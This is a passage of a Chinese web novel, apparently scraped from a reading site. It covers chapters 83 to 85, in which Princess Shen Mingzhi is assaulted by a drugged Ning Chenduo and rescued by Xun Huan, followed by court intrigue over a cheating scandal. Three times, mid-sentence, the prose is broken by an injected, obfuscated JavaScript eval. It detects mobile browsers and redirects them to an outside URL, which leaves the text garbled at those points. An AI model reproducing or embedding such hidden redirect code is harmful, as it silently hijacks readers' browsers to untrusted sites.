“您爱慕虚荣、贪恋权势、沉醉美色,将琼玖抛诸荒野,将白茅浮诸水面,南山之竹用来谋算,虎兕出匣用来威吓,您可真是——卑劣!” “琼玖抛荒野,白茅浮水面……南山之竹鄙于谋算,虎兕出匣止于威吓。是谓君子所为?是谓贤臣所为?”这曾是沈明枳写过的文字,用以贬斥末世昏君、奸臣当道、忠臣绝迹,而今被她用来鞭笞自己。 沈明枳看着她的眼泪,怔了半晌,仿佛从一枕黄粱中惊醒,点点头:“你说得对。” 女人看着她木木的表情大笑起来,抹去笑出的眼泪又道:“他说了很多,说得很高兴,但我觉得他并不高兴,他被迫站在边上看着您,您想起他的时候就利用一下,被利用了他也很高兴。” “他感觉您过得并不如意,他怕自己打扰你,又很想让您高兴,然后自己也便得不高兴了。” “您应当从未想过他吧。” “我说,那为什么他不想办法娶了您?您应当也会很高兴,有这样一个‘懂’自己的男子相伴一生。他说,这样一来,您不会高兴的,您会希望他去官场上立功名,但他自知没有这个能力,他帮不了您。我说,不曾试过如何知道自己不能够?他竟然好像被我说服了,后来果然去当了官,只是比不上郇驸马的显赫。” “现在,没有人会为您传书青史、留名后世了,您又一无所有了。” 一无所有,这是贪婪者最恐惧的结局。 女人很快意,很满足,但她总觉得不够,还不够,沈明枳眼里是一片死静。她怎么能不痛苦,怎么能不痛哭,怎么能不捶胸顿足,怎么能够不万死难赎。 她骤然伸出手掐住跪坐在眼前咫尺距离的沈明枳,一声憋在喉咙口的怒吼惊动了门外敏锐的暗卫,随后几双手将她拉开,刀刃抵在脖间,只待主人的一声令下,她就将死无全尸。 沈明枳只是跌坐一边,用手轻轻摸上自己的脖子,拒绝了郇寰和月珰的搀扶,自己重新跪坐起来,凝视着目眦欲裂的女人,恳切道:“你说得很对。” 随后起身,扶着门框,缓缓踏了出去,最后背对着殿中的狼藉轻笑道:“谢谢你,对不起。” ** 已故的乔皇后信佛,故太子妃也信佛,沈明枳虽然不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈明枳朝他颔首,环顾四周,走到琴桌旁的茶桌前坐下,见桌上还剩下半壶清茶,两只粗朴的茶碗一正一扣地摆着。她几乎是下意识地要翻起扣着的那茶碗给自己续上一杯茶,但手指即将伸出的刹那又猛然收住。 宁晨铎小心走过来为她倒茶,随后垂手站在一旁,默默不语。 沈明枳没有动那茶,“坐吧。” 宁晨铎方才拉开凳子坐了下来。 见他久久不开口,沈明枳问道:“你找我什么事?因为那夜宫变吗?” 宁晨铎错愕地抬起头,沈明枳登时知道他之所以一言不发,是在等她开口,因为他以为是自己找他过来叙话的。 沈明枳挑眉,宁晨铎立即从她的表情中读懂了什么,手忙脚乱地从怀中摸出叠得整齐的一封信来递到沈明枳眼前,那皱巴巴、被人捏在手中看了又看的纸张上清清楚楚地写着今日在双塔寺某处的寮房相见,字迹分明就是她沈明枳的,但毫无疑问沈明枳根本没有写过这样的信。 沈明枳再从信上移开目光,看见宁晨铎穿得整齐,还是一身月白色桂枝滚金长袍,还有一枚青碧色玉环,是他常穿的样式。衣裳还是同样的衣裳,人却有些变了。 看着沈明枳几番变了眼神,宁晨铎惊慌起来,体内被他压抑着的烦躁立即要反客为主,支吾着要解释什么,但半天一句囫囵话也说不完。 见宁晨铎的忙乱,他那一双极易在她面前流露出受伤、惊恐、担忧的眼睛让沈明枳终于捱不住心软,虽然不安,但还是平心静气地安抚道:“别着急,不必解释,我都知道,有个小和尚说你要见我,想来也不是你让他传信的。” 宁晨铎坐着分明也比她高,却在望着她,仿佛是暗夜迷途之人仰望安抚人心的云台月轮,他略微安定了,但让沈明枳坐立不安了。她本打算就此和宁晨铎说得再清楚些,谁料到竟然会有这样的插曲,而且她摸不准他们这次相会的策划之人是何居心,生怕会有未知的危险在前面等待。 可宁晨铎突然道歉:“谢谢你……对不起。” 谢谢你还愿意来见我,但对不起,我恐怕给你惹麻烦了。 沈明枳心头一紧。 83. 第八十三章 对不起 她最见不得宁晨铎这副丧败内疚的自责模样,直让她觉得自己的所作所为全是恶毒迫害,直让她想起过惯流离孤独日子后初入陌生环境中的小兽,小心翼翼、战战兢兢生怕惹了主人不快再度被遗弃荒郊。 可他的眼里逐渐蒙上一层雾气,不是眼泪,而是痛苦,让沈明枳都能共情的痛苦。 她知道自己此刻应当是极其温柔的模样,眉眼中的冰冷疏离都成了丧家之犬,一颗心直想着有什么法子能让他振作起来。 这样的僵局维持得太久,久到沈明枳错过了宁晨铎眼神中的细微变化。 半晌,宁晨铎哑着声音问道:“殿下,郇海山对你好吗?” 沈明枳怔愣片刻,隐约觉得不对,抬眼要去看他的神情,却和他的目光直直地撞上。宁晨铎从来不敢和她对视,被自己发现在偷看自己也会立即心虚地移开视线别过脸,从未有这样直白地回应自己的目光,其中意味直白到未经人事的闺中在室女子都懂得。 沈明枳觉得自己看错了,领会错了,强忍着要起身离开的冲动,怕自己突然吓到他、伤到他的心,不自然强装自然地坐在原地不动回道:“还好。” 宁晨铎失落地垂下头,听他口吻似是醉了:“我以为你会骗我说‘很好’。” 沈明枳又一愣,她不能说“不好”,说“很好”又很明显是敷衍和欺骗,他是真心关心自己,而她沈明枳也愿意视他宁晨铎为一个以真心换真心的故友,更何况,逆王宫变那夜,沈明枳无论如何和都觉自己对不住他。 宁晨铎自言自语道:“他对你还好那就好……”说着说着,他没了声音,咬着牙关,竟然有汗自额角流下。他想赶沈明枳走的,可是他真的很想再和她说会儿话,终于,在沈明枳再三确定他不对劲打算告辞前,宁晨铎胡乱找了话茬想要挽留她:“我当官了,殿下知道吧?” 沈明枳抿唇,佯装镇定说着心里话:“我知道,祝你顺遂。” 宁晨铎艰难地摇头,连声哭笑着说“不”。和郇寰比,他拍马难及,难以望其项背,他永远建立不了那样的业,永远娶不到心心念念的人,他永远也不会顺遂。 以后他可能,都见不到她了。 如若他的公主真的愿意像临川郡主那样,他宁晨铎很乐意做她的裙下之臣,只要能常常见到她,听到她的声音,分享她的喜怒哀乐,做她最亲近的人。但他的公主一直在告诉他,他是个文人,他是个士子,他现在又是个士大夫,他怎么能折节易志,他这么能摈弃污损一身的文心墨骨。 可他就被折磨得欲生欲死。 他只是贪恋她的一丝温柔。 宁晨铎再看她,却看不清晰她的容貌,听不清楚她的声音,唯有愈发强烈的渴望,铺天盖地地拢了下来,就如同他灼热的气息铺天盖地地将沈明枳拢下。 宁晨铎与郇寰比,几乎可以用“瘦弱”来形容,但就是他这副身子,竟然也有一股还没反应过来的沈明枳抗拒挣扎不了的力量。几乎是他的嘴唇触及沈明枳微凉皮肤的刹那,先前的不安彻底攻陷了理智,她失声惊叫,随后就听见茶盏碎裂、桌椅翻倒和衣帛撕裂的声音,将她的声音淹没入无涯的喘息声中。 她被重重地撞在了矮榻的棱角上,仿佛骨头都被这样的碰撞震碎了,手上推挠和腿上蹬踹都因为这样的疼痛失去了力道,就此被宁晨铎托着她的身子按入了冷硬的榻中,浑身的筋骨好似又错了位。 沈明枳吼他的声音都打了颤,但门外空无一人,如何会有人来救她。这一刻她分辨出自己的惊恐中多出了愤怒。 他在糟践自己。 他在糟践他自己! 她的苦心!她的珍重! 沈明枳引颈就戮了,但震天的一声巨响随着整座寮房的震动从门口传来,屋外的余辉在门板反弹合上前的瞬间,将来人的影子拉得极长极浓,但这样的影子也书不尽郇寰看到屋内凌乱的一瞬时的震怒。 宁晨铎几乎是立刻被他从沈明枳身上掀开,直直摔上了琴台,那张沉默注视屋内种种的“羊左”琴霍然断裂。 沈明枳狼狈至极,撑着肘要坐起来,但她感觉自己已经被拦腰劈成了两截,根本无力可使。郇寰垂下眼,弓身抱住她助她坐了起来,在琴台那边宁晨铎牵动伤口发出“嘶”的一声轻响时,沈明枳分明看见他掩藏在阴影的眼中杀意。 郇寰背对着还仰卧在残骸中的宁晨铎,左手仍然护着沈明枳的肩背,右手腾出来将她掀起的裙摆重新盖住露出来的双腿,强迫自己不去注意那称得上刺眼的抓痕。 他们都没有说话,在沈明枳缓过神来的一会儿里,郇寰将屋子里颠三倒四的陈设尽收眼底,随后沈明枳轻轻抬手意欲将散乱的鬓发理好,这时她才发现蹭过自己脸颊的手上沾着还未干的眼泪。 郇寰再一低眉,说不出自己怀着的是怎样的心,冷静地替她简单将头发理好,又用袖子拭去她脸上的泪痕,又小心防止弄花了她的妆,再将她搀起。可她站稳了,却收了手,与他错开了如同顽石裂纹般的距离,目光触及地上碎瓷中的一张纸,立刻离了他的掌控艰难地将那张纸手到了袖中。 他再没看宁晨铎是生是死,觉得自己再在这里呆上片刻宁晨铎就必死无疑,一脚踹开了房门,攥了沈明枳的手,阔步走了出去。 郇寰反反复复想起沈明枳特意错开的距离,就觉得头痛欲裂,再一翻身,眼前又全是那疯癫女人临死前的绝望。崔嫣咬舌咬得利落,当真是万念俱灰。 他命人将尸体拖到刑部,将预先编好的文书整理好,只等天一亮就去交差。 他和衣躺在书房小榻上,等着东方既白,耳边都是最后沈明枳走后,月珰匆忙对崔嫣的一番话。 “崔姑娘,当年确实是殿下发现了崔选侍和朱先生的私情,也是殿下向孝贤敦皇后提议裁放宫人。” “崔选侍的名字是殿下偷偷加上去的不假,但殿下不是为了揭发他们,而是为了成全。” “揭发他们的另有其人,正是前现日子已故逆王生母华氏。” “崔姑娘,梁少监并没有为难你,那是因为殿下知道你在尚仪局供职,特意去见过你,又听说你喜欢文墨,掌势的内监又看上你,就命我前去打点,菁明书院也是殿下亲自去求的人。到了年纪要放出宫去,你不想呆在化隆城里,也不想去丹峰庵,你无处可去,殿下就亲自去寻了双塔寺的住持,让他允你一个住处。” “朱先生有个弟弟,你应当听宁主事说过,他在过他自己的日子,而殿下做这些也是希望你能过你自己的日子。” “殿下不欲我与你说这些,也是为了成全。” “崔姑娘,多保重。” 多年以来,郇寰觉得今日他才真正认识了沈明枳,但这样的沈明枳又能与他记忆深处的人逐渐重叠。 他记起郇二郎第一次单方面认识长平公主沈明枳时,菁明书院颓墙青氤。 那时他还没和申不极称兄道弟,他爹正通门路准备把他塞进菁明书院熏陶几年,谁知化隆两大生事头头郇二与申二一言不合大打出手,把事情闹到一同进京兆府喝茶的地步。老爷子差点一口血喷人一脸,一抡棍子亲自出马,把他打了个半死不活,关在祠堂罚跪思过半载。 后来伤养好了,消消停停进了菁明书院,谁料天公不作美,就在路上又遇见了对头申二。两边的小厮如临大敌,打算一有不对就扯开嗓子喊人,谁知道两个冤家竟莫名其妙地握手言欢,勾肩搭背地一同进学去了。 郇二郎的小厮郇杭与申二郎的小厮申景都一致认为,那天的日头从西边升起。 没两步,郇二看见有人鬼鬼祟祟,一捅申二问道:“那是谁?” 申二看去,树影掩映下,正有一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803487|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五六岁的小子攀着不高的颓墙,里头另有一个同样稚嫩的娃娃接应着,外头一个年长的女婢紧张地四下照看着,一瞧见这里驻足而立的几人,霎时慌了神,一出声,那墙上的小子立时摔了进去。 菁明书院很老很旧,青苔藤蔓覆满了半颓的矮墙,外头几棵樟树的枝叶直接垂到了院里去。但没有人主张修整,因着里面那些老头子觉着这别有一番天然风骨,也不曾管过负责安保的卫兵死活。 申二朗声大笑:“宁大郎不是在里头读书么,估计就是他家的老七,我见过几次,是极其向上好学的小苗苗。” 郇二有点错愕,化隆竟还有出身优渥的毛头小子不用鞭策就上赶着爬墙去听老头子讲学? 后来他才知道,自然是没有的。 郇二就立在廊下,看着宁七郎和一个与他差不多大的小子翻墙。那小子的胳膊、膝盖处都有着不轻的擦伤,当就是早上摔下去的那个。 宁七郎关切地问:“能爬吗,要我先……” 那小子没听他说完就一挥手,态度极其冷淡傲据:“不需要,我可以。” 郇二兴味颇浓。 敢情这是个向上好学的女娃娃? 过了些天,他才从当时同在书院混日子的敬王、而今的赵王处得知,那是沈明枳。 当年的沈明枳从不低头。 如今的沈明枳低头了。 郇寰揉着眉心,翻身挥去这些遥远的记忆,在极度的疲惫之中昏昏入睡,连梦也来不及做上一个,冬至叫他晨起上朝。 受过崔嫣恩惠的小沙弥早已被逮住,对自己给宁晨铎下药、准备散布谣言的事情供认不讳,郇寰让人妥善处理了,将城门口送信的乞丐放了,一封给自己、一封那晚沈明枳从宁晨铎处抢来的信全都烧尽,从双塔寺附近搜出崔嫣杀害文十一郎的凶器。 反正刑部是他郇寰的一言堂,申、文两家都求着息事宁人,案子就这么结了,对门的御史竟也吃了申、文两家的哑弹一言不发,大理寺早被打点过核查得快,大家都和和气气地将事情揭过。只有刑部郇尚书雨夜探查双塔寺、揪出歹人藏身之所的美闻流传化隆,倒没人注意第二天早上浑浑噩噩被人驮下山的宁晨铎。 郇寰早早嘱咐过郇七郎和郇八娘这几天不要叨扰沈明枳,自己又早早下了衙盯着他们吃饭用功,不忘选了个日子如约去拜访亡父故友何卓远,宽慰过心眼斗大的申不极,去侯府看过郇三娘,日暮回府,听人说迷迷糊糊睡了三天的沈明枳醒了。 她睡着的某些时刻,郇寰当真害怕她长眠不醒就此死去。 知道了这个消息,他换过衣裳,觉得整个人也神清气爽,打算再看看她的伤势,挑了几件朝中大事打算和她聊聊,但走到正屋旁,就见月珰推门出来,一脸歉意:“殿下又歇下了。” 郇寰应了一声。他本不该打扰,可他在门口站了好久,这才决定绕过月珰,轻轻推门而入。 桌上灯烛似还有一缕青烟未尽,书页还是打开着的,帷帐里的人正侧卧无言。 他们很久没有说话了。 郇寰走近两步,立在那里看了一眼,回身就要出门,袖子带倒了桌上的书卷,他冷汗直冒,眼疾手快扶住倾斜的烛台,就着窗外映入的灯光扫过书上的字句一眼。 模模糊糊的一眼,但郇寰仿佛明白了一些事情。 沈明枳的屋里很少出现经史子集,常见都是各方异志、四海奇闻。此时这册崭新的《李斯列传》却工工整整摆在桌上,不在妆台,就在一进门最显眼处,她根本不可能坐着读书的一处。 二世二年七月,具斯五刑,论腰斩咸阳市。斯出狱,与其中子俱执,顾谓其中子曰:“吾欲与若复牵黄犬俱出上蔡东门逐狡兔,岂可得乎!”遂父子相哭,而夷三族。 崔嫣的那些话再度响起,郇寰不可遏制地坠入了漩涡。 84. 第八十四章 葛宏才 千秋节至,沈明枳很不情愿地收拾好出门,坐在马车里摇摇晃晃昏昏欲睡。行至启明门前车突然停住了,沈明枳以为是到了宫门不得乘车,月珰要先下车放马凳,就听得外面吵吵嚷嚷沸反盈天,不由得皱眉问道:“宫门喧哗,怎么回事?” 不常随公主出门的冬儿早闲不住了,一溜烟抢下车前去询问,不一会儿雀跃地跑回来禀道:“殿下,落榜士子闹事呢!” 月珰又惊又疑:“秋闱放榜已经十几日了,要闹怎现在才闹起来?” 冬儿摇头道:“听说是豪族舞弊,现在人堵在启明门前,硬是要让三法司和礼部给个交代呢!” 沈明枳听罢,打了个哈欠后冷笑:“京畿之地的乡试由京兆府、扶风郡、冯翊郡共办,若涉及舞弊,当找这三者,顶多拉上监察不利的都察院和礼部,与刑部、大理寺何干?他们要堵门,堵东长安门更划算点。” 月珰:“……” 冬儿似懂非懂地点点头,随后焦急道:“那那这样误了入宫时辰怎么办?” 沈明枳挑起车帘,见已有官兵前来控制局势,也有几辆一样被堵住的的车开始掉头,心中几日来盘桓着的烦闷再度势起,轻轻一摔帘子,扬声对车夫道:“去东长安门。” 冬儿皱着脸道:“此番必是赶不上时辰了。” 沈明枳从缝隙中瞥着窗外渐渐远去的叫嚷不休的年轻人们,想起了梅如故的那两个弟弟。她倒是很久没有与梅如故通消息,也不晓得梅家两位公子现在是什么光景。常年常有这样的事情发生,但因着怕有故人牵扯,沈明枳觉得此次更加棘手,又或者是事情本身就很复杂,沈明枳心里再被笼上一层阴霾。 她想了片刻,淡淡回道:“赶得上。” 就是可能会撞上一些熟人,比如,宁晨铎。 沈明枳还是有些不知该如何面对他,好在他们只是君臣礼节略微往来妥当后,就堪堪擦过肩。 如若不是现下礼部上下一锅沸水,宁晨铎其实是想耽搁沈明枳一点时间说几句话的。想见她一面不容易,从前沈明枳有每月去双塔寺上香的习惯,他就小心地远远看她一会儿就心觉满足。那件事情过后,他没脸去见她,她也不怎么出门,出门也有郇寰在一边守着,他见上一眼不觉满足,又逼着自己不去注意她,害怕贪婪的口子一开,他就真的沦为情爱之奴。 他其实没有做好准备,也不知道自己该说什么,可就是对这样珍贵的机会的流逝感到失落。 但宁晨铎立即收起了失落,因为他看见东长安门人来人往中一个绯袍疾行的身影,临风有度,总让人有种凝视日头过久而随后观其他景色都觉黯然的幻觉。 郇寰正一壁与大理寺少卿薛康文说着话,一壁朝自己这里走来。但显然郇寰没有看见自己,又或者看见了自己还装作没看见,径直而过,然后借了兵部和户部的道,匆匆往三法司去。 宁晨铎更觉一种可以冲溃心堤的失落涌来。 启明门已经堵到,人人都要借道东长安门了吗? 确实,启明门已经是烧干了的一锅粥。 郇寰只觉得这把火旺得快把他的心肝都焚尽了,差点忍不住一把将验尸格目摔在了迎上来的属下心口,咽下喉咙口那句“京兆府都干什么吃的”,干巴巴地换成了“柳曦既在察院?” 属下颤巍巍将纸张收好,怯声回道:“柳大人方才来过,不见尚书大人,就往宫里去了。” 郇寰再一皱眉,薛康文忙要缓和他的火气,“卿寺卿和陈尚书也已经入宫,海山你也赶快去吧,这里就先交给我和小陶。” 郇寰点头,一边接过递来的素帕擦过汗水,整理衣冠,一边告诫属下:“告诉严中立,大胆放开了干,既然犯到我刑部手上,就别怪我们不客气,也不要在都察院的御史面前丢了我刑部的脸。” 薛康文擦擦汗。 刑部的头头中,最好拿捏的莫过于左侍郎严中立,新来的年轻人一个比一个猛,譬如右侍郎陶识礼,作风雷厉得他一个老油条都想惜命,当然刑部上下最凶悍的还要数郇海山。唯有这个严中立,四平八稳,虎皮里面躲着的绵羊,和稀泥的本事可以和礼部那些要退休的老头子一较高低,做事和其他人比起来就显得畏首畏尾、缩手缩脚。 不过这回严中立没必要瞻前顾后。能让闹事的士子赶在千秋节堵宫门,京兆尹当是不想干了,还无辜牵连了比如他们大理寺这样可怜的八百年都摊不上事儿的凄苦衙门,得罪了皇城兵马司那群惹不起的爷儿,葛宏才老大爷真是嫌命长。 薛康文叹息。 默立御书房的清一色绯袍的官儿纷纷为葛宏才点蜡。 “太不像话了!太不像话了!这是什么意思?要逼宫吗!”圣上的怒吼让整座屋子都抖了抖。 “你礼部千挑万选派人主考考出了舞弊?你礼部干什么吃的……” 郇寰随着礼部尚书陈阵、左都御史柳曦既、大理寺卿卿楷等一个个“诚惶诚恐”地跪下后,在圣上来不及注意前将袖子上飞溅到的唾沫星子按灭。 从进了御书房开始,他们就站在一边被迫替葛宏才承受着雷霆万钧。他郇海山兢兢业业,已经很久没有这样被指着鼻子骂过了,能让他再度梦回还是主簿郎中那段被人追着骂的经历,葛宏才功不可没。 事了后,他该如何谢谢葛大爷呢? 郇寰掂量了下自己的份量,觉得他一个初出茅庐的刑部尚书有点排不上号,等前面的神仙们撒过气后,葛宏才应该连骨头渣都不剩了,挫骨扬灰又损阴德。算了,自己还是发发善心,好歹葛宏才也曾是为他操劳过的长辈。 从前他在襄阳侯府当少爷时,常常将着一帮比他还难伺候的少爷去听葛大爷谈天谈地谈人生,喝茶喝得勤,堂下小吏都知道他杂七杂八的香料不放、不是六分热的水不喝云云;现在他都在襄阳侯府当老爷了,时不时还得和这位大爷寒暄冷暖,没感恩也有感情了。 郇寰烦闷地轻哼,实实在在地接下了圣上的每一句指摘。 待骂声告一段落,圣上有些脱力地摊在龙椅中,点点呈上来铺满龙案的公文,冷飕飕问道:“那葛宏才呢?” 一直在边上眼观鼻鼻观心的庞大总管上前颤声道:“回陛下,锦麟卫已经去请了。” “去了多久?” “这个……” 应当是很久了。 圣上冷哼一声,打算先不挫锦麟卫那帮年轻人的热情,扫了一眼面前被喷了一脸口水的老、中男人,幽幽道:“此案,由三法司全权负责,众卿意下如何?” 礼部尚书陈阵自知活罪难逃,主动上前等候发落,应道:“陛下圣明。” 圣上看向陈阵:“你们礼部一旁协助,案子办完了再来领罚。”末了,再嘱咐一句:“皇城兵马司亦是如此,云将军如果忙不过来,就让乔致用来。” 郇寰退出御书房前还在琢磨这最后一句话。前剑南都督乔致用入了京后领的是兵部侍郎的职,圣上让他参与兵马日常运作,看来是要留任京城。 “郇尚书留步。”庞大总管叫住正要和柳曦既边商量边出宫的郇寰。 郇寰眼皮一跳,别了柳曦既转而恭敬施礼:“圣上有何吩咐?” 庞大总管笑道:“圣上到底在后廷摆了宴,驸马还是吃过再走吧。” 郇寰面不改色地应了由内监引路,心里却莫名有些闷闷,却不是因为宫宴拖累浪费他办案时间,可他又想不出是为什么憋闷。忽而记起入东长安门时见到的年轻人,心里的闷闷骤然转为烦躁,脸色不由得更沉了几分,这让错开几步恭敬引路、时不时可以看见他侧脸的小内监心里发毛。看着他轻车熟路地从辉云殿中的笑语盈盈穿过,小内监吊着的一颗心才堪堪放下。 沈明枳身边空着的位子是留给他的,郇寰驾轻就熟地从频频阻他去路的人墙中摸了过来,在红飞翠舞、鼓乐喧天中,端端正正地坐了下来,却不妨还是因着疲倦烦躁未多注意脚下,踩住了沈明枳垂下来的裙摆。 自逆王宫变后,本就炽手可热的兖国公主更是水涨船高,前来恭维奉承的老、中、小女人若过江之鲫,一轮见过来,各式的胭脂水粉闻下来,沈明枳觉得她的鼻子已经不中用了。还没轮到的人,见向来挡在沈明枳前的门神临川郡主和申二夫人都没有来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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向来有分寸的沈明枳自己也没意识到,她现在的举动,是多么的“有失分寸”。就像那横亘在他们之间的楚河汉界已经干涸,而她还要装作看不见干涸的河床,掘了十万八千里外的江,硬是要大兴土木地引水补缺,假装这条小水沟就是他们之间的永不逾越的界限,然一时糊涂的她却自己抬了脚跨了过来。 郇寰第一次被驻足的人看得不好意思,于是用另一只手将沈明枳的手扒下来送到温热的掌心。就见她像被烫了一下,立刻抽开手,痉挛地蜷了手指,更快了几步离他更远。 郇寰笑了,忽而觉得心里又敞亮起来,大步追了上去道:“圣上应当还在御书房,你这往哪儿走。” 沈明枳在理智訇然炸开后迅速恢复了平静,停下步子辨别了下自己慌不择路的结果,好像确实有点失了道。不过她打小就闲不住,宫里的路蒙上眼都能走,找到自辉云殿往御书房的路何其简单—— 她抬脚踩空。 郇寰一惊。 沈明枳就这样坠了下去。 老马失前蹄,大意失荆州。 她这一番狼狈,再联系起先前的有失分寸,在郇寰看来不知道得被渲染成什么样子,真是老脸丢尽。 郇寰如何不知她的心思,偷着笑了两声,手扶了她的腰,将她整个人抱了起来,几步走下乱石铺就的台阶,小心地用空着的手拂去堆叠假山上的落叶浮尘,然后让她靠着自己坐了过去。 石头硌人,但沾在郇寰官服袖口的一片枯叶更硌她的心,在看见郇寰竟然还掀起衣摆,蹲跪下来用干净的那只手去探她的脚踝时,沈明枳更觉得一颗沙砾捻在心怀。 她忙伸出手轻轻按住郇寰抚住她脚踝的手,只感觉他手背的清凉从皮肤相触处蛇似的蹿过全身,“没什么大碍。” 郇寰收回手,目光从她在光下发亮的手移到垂下来的裙摆,不可遏止地想起那夜破碎的纱裙和同样破碎的心境。但他只在彻底沉入其中的刹那浮出水面,转而笑道:“这倒是个出宫的好理由了。” 沈明枳拉他起来,目光却落在他垂覆在尘土上的官袍,“而且还不用再面见父皇当面祝寿。” 郇寰笑,顺势站起,反手握住她的手腕:“不错。” 沈明枳其实也不知道脚踝伤得如何,只觉得一种脱臼的下坠感隐隐传来,但她向来要强,即便是真伤了病了也不愿露绌。于是她就在郇寰的搀扶下站了起来,待两个人错开些距离,几乎微不可觉的熏风带着阵阵蝉燥穿花过袖,贴在皮肤上的衣裳随之胀起,沈明枳才惊觉方才两人的距离有多么近。 85. 第八十五章 薜荔殿 郇寰见她不轻不重地落下右脚,像模像样地走了几步,装得有那么点正常,心底一阵无奈,在沈明枳又端出“分寸”二字出声呵斥前,将人打横抱起,顶着艳阳走了会儿,视沈明枳的怒目若无睹,待前方规整巍峨的殿宇拔地而起,才在玉阶栏杆边停下。 这殿宇很偏,但该有的皇家气派和天家富贵一点不少,与匾额上苍劲有力似有上古遗风的“薜荔”二字格格不入,就像是楚大夫立于秦朝廷,几分缱绻、几分蒙昧、几分幽醉织成的一缕山魂,都被金戈铁马与金碧辉煌粗暴地踏碎。 两个人都眸色一暗。 这是魏王余生的囚笼。 圣上终究下不了手,尽管魏王手上沾满鲜血。 沈明枳只是坐在栏杆上片刻,就有自大殿后转出的朱雀卫列队而来。 朱雀卫专司亲王出行仪仗与护卫,属十二卫中最末流。指挥使王暨白从前天天大骂秦王老九,每天都连轴绕着这位祖宗转,成了十二卫中除却锦麟卫、阴阳卫之后最繁忙的一队;而今秦王、晋王出宫辟府,燕王身陨、魏王囚禁,赵王、吴王自有府兵,闲下来的王指挥使倍感无聊,重新过上末三卫“该有”的闲散日子,天天不是拱着薜荔殿数壁虎,就是大骂自己曾经犯贱。 现在守着薜荔殿的朱雀卫早不是围着秦王老九转的那群人,也不认得沈明枳,但他们认得出郇寰一身正二品大员的官服,又知道今日千秋节京中的贵人们都入宫吃酒,就将即将脱口而出的呵问咽了回去,客气地问候,委婉地遣别。 郇寰知道他们来错地方了,先一步拱手施礼歉然道:“迷途失路,还望海涵,我们即刻便去,只是不知此去如何可出宫往太医院属?” 那卫队长看了一眼坐在栏杆上空着脚的沈明枳。沈明枳本以为是简略地指完路就远走不送,结果这人还亲切地提醒说往哪哪哪可借步撵,圣上很体谅人,提前打声招呼就可防止逾制被参。 两人俱是一惊,随后一喜,记下这人的相貌后,郇寰再度有失分寸地抱起沈明枳寻路去了。 为防尴尬,郇寰找话问:“不曾想这样气派的宫殿叫作‘薜荔殿’。” 沈明枳垂了眼睫,淡淡道:“因为殿□□院有一面墙都长满了薜荔,化隆少见长薜荔的,南方倒多,宫里为养护这些藤蔓费了不少心力。” 郇寰低眉看她,“殿下亲眼见过吗?” 沈明枳答:“小时候见过。” 惯常敏感的郇寰自她的神色措辞中尝出几分哀,封锁住心里乱闯的问题,应了一声,打算就士子堵宫门一事与她说说,谁料她似是挣扎过彻底放弃了什么,开口说了一句:“崔选侍住过这里,她是是崔嫣的姐姐。” 郇寰见她的眉眼一步步地低垂,就像是时常重云袭扰的晴空。 不必她说,有些事郇寰也能猜到了。 崔选侍与朱先生的事情又不是天衣无缝,同住薜荔殿中的其他女人大多可能会知道点什么,随后同住宫中的华妃也就自然而然地听说了他们的绯闻。 他们在劫难逃。 若事情真的只是这样,那也倒好。 郇寰知道宫变后沈明枳去看过落败了的华妃,后来华妃就死了。她应当是从华妃处,晚了多年才得知的事情真相。 但自沈明枳的眼神中他知道,真相如何,迟了早了又如何,这是永远也洗不掉的血痕。 郇寰道:“且不说这个了。” 沈明枳深呼吸平复心绪,“好。” “怎一路不见月珰跟来?” “她去坤宁宫看望卢嬷嬷了。” 郇寰知道先皇后身边的三个嬷嬷,钱、方二位都被沈明枳接了过来,没住几天,发现他们夫妻俩的事情完全不是外人能够介入调停的,呆着看着实煎熬,于是她们就自请去庄子上颐养,不时出门游山玩水,是摩诘居士般的生活。 “十殿下!”一年轻长随正领着太医自左出门,就见郇寰抱着沈明枳自甬道尽头而来,乍惊乍喜,让太医继续走,自己则转过来施礼。 沈明枳正和郇寰说着话,见他欢腾着、迟疑着走来,脸上的笑容破裂:“原来是你啊,步枝修。” 不知羞? 不知羞! 步枝修看见郇寰的目光一点点从惊讶转为好奇,那望眼欲穿、兴致勃勃的神态,让步枝修接近跳脚,憋着火气客气笑道:“郇侯好。” 沈明枳让郇寰放她下来,“你怎么在这?九哥身子有碍?” 步枝修是从小陪秦王老九长大的,以前沈明枳跟老九出宫厮混的时候多是他相随左右,与沈明枳不可谓不相熟。因着他这名字实在容易引人误会,沈明枳促狭的时候常常这样捉弄他,他就大吼大叫要让所有人只接叫他的名字,以至于不熟的以为他就叫枝修,还暗暗纳罕怎么有这么奇怪的姓氏。 步枝修知道沈明枳这是在敲打自己。她一定一眼就看穿了自己的心思:向老九细细说说向来严肃不苟言笑端庄大方的兖国公主竟然,哎呦,和她家的郇驸马你侬我侬的,由人抱着不肯走路,真真是瞎人眼睛…… 郇寰曾见在老九身边见过几次步枝修,但不知名讳,而今头次听到这样惊天动地的三个字,也亏得他多年历练可以面不改色云淡风轻,朝步枝修回了礼,就扶着沈明枳默立一旁,憋笑憋得辛苦。 步枝修羞愤难当,僵硬着笑脸答道:“回十殿下,我家王爷在启明门被闹事士子误伤了——十殿下的脚是……” 难怪在辉云殿上没看见老九,原来是被人揍了。 沈明枳笑道:“小小扭伤。” 小小扭伤?真不知道这俩是做什么不小心扭了脚。 